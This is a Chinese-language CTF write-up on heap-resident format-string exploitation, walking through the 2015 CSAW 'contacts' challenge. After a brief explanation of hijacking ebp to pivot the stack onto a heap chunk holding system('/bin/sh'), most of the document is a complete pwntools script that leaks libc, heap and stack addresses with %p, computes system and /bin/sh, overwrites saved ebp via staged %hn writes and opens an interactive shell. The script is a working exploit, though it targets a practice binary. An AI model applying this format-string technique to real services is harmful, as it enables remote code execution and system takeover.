# 堆上格式化字符利用
# 利用思路:
在堆上利用格式化字符串,需要注意几个问题
其实和别的格式化字符串几乎一样,只不过可以多一个利用思路,可以解 system (’/bin/sh’) 写入 chunk 块,篡改 ebp 或 rbp,在有返回地址的情况下 leave ret 之后,进行栈迁移,迁到 system (’/bin/sh’) 那部分地址的 - 4 或 - 8 处
接下来由一道题目详细介绍这类打法:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2015-CSAW-contacts
关于程序,需要分析它的贯穿题目利用的结构体
00000000 Struct_phone struc ; (sizeof=0x50, mappedto_7)
00000000 ; XREF: fetsName+1A/r
00000000 ; fetsName+34/r ...
00000000 description dd ? ; XREF: fetsdescription+41/w
00000000 ; fetsdescription+46/r ...
00000004 phone_number dd ? ; XREF: fetsPhone+2F/w
00000004 ; fetsPhone+35/r ...
00000008 name db 64 dup(?) ; XREF: fetsName+1A/r
00000008 ; fetsName+34/r ... ; string(C)
00000048 length dd ? ; XREF: fetsdescription+2B/w
00000048 ; Display+53/r ...
0000004C inuse dd ? ; XREF: Create+20/r Create+5D/w ...
00000050 Struct_phone ends
分析过程就不分析了,大概是这样
整个题目利用处在这里
int __cdecl sub_8048BD1(const char *a1, int a2, const char *a3, char *format) | |
{ | |
printf("\tName: %s\n", a1); | |
printf("\tLength %u\n", a2); | |
printf("\tPhone #: %s\n", a3); | |
printf("\tDescription: "); | |
return printf(format); | |
} |
在这里他是用户打印的内容,其中会格式化解析用户在堆上写入的字符串信息,通过这些信息,我们就很容实现格式化的利用,接下来我们通过劫持 ebp,从而将栈迁移到我们实现布置好的堆块上。
还是比较简单的,泄露完成信息之后将栈劫持 chunk 即可完成本次攻击
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
# context(arch='amd64', os='linux', log_level='debug') | |
context(arch='i386' , os='linux', log_level='debug') | |
binary = './contacts' | |
libc = '/home/yhuan/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6' | |
# host, port = ":".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
def createcontact(name, phone, descrip_len, description): | |
ru('>>> ') | |
sl('1') | |
ru('Contact info: \n') | |
ru('Name: ') | |
sl(name) | |
ru('You have 10 numbers\n') | |
sl(phone) | |
ru('Length of description: ') | |
sl(descrip_len) | |
ru('description:\n\t\t') | |
sl(description) | |
def printcontact(): | |
ru('>>> ') | |
sl('4') | |
ru('Contacts:') | |
ru('Description: ') | |
# debug() | |
pl = '%2$paaaa' | |
createcontact('%p','1111',str(0x32),pl) | |
printcontact() | |
pause() | |
ru('Descriptio0x') | |
libcbase = int(rc(10),16) - 11 - libc.sym['puts'] | |
lg('libcbase') | |
system = libc.sym['system'] + libcbase | |
binsh = next(libc.search(b'/bin/sh')) + libcbase | |
pl = flat([ | |
p32(system), | |
b'aaaa', | |
p32(binsh), | |
b'<>%10$p()%6$pcccc']) | |
createcontact('huan','1111',str(0x32),pl) | |
printcontact() | |
ru('<>0x') | |
heapaddr = int(rc(7),16) | |
ru('()0x') | |
stack = int(rc(8),16) | |
ret_sys = heapaddr + 12 | |
lg('heapaddr') | |
lg('stack') | |
lg('ret_sys') | |
# debug('b *0x08048BD1') | |
pause() | |
# debug() | |
# pl1 = ret_sys & 0xff | |
# lg('pl1') | |
pl1 = ret_sys & 0xffff | |
lg('pl1') | |
pl2 = (ret_sys >> 16) & 0xffff | |
lg('pl2') | |
# pause() | |
# pl = '%' + str(ret_sys & 0xffff) + 'c%6$n' | |
# createcontact('huan','1111',str(0x32),pl) | |
# printcontact() | |
pl = '%' + str(pl1) + 'c%6$hn' | |
createcontact('huan','1111',str(0x32),pl) | |
printcontact() | |
pl = '%' + str((stack+2) & 0xffff) + 'c%34$hn' | |
createcontact('huan','1111',str(0x32),pl) | |
printcontact() | |
pl = '%' + str(pl2) + 'c%71$hn' | |
createcontact('huan','1111',str(0x32),pl) | |
printcontact() | |
ru('>>> ') | |
sl('5') | |
it() |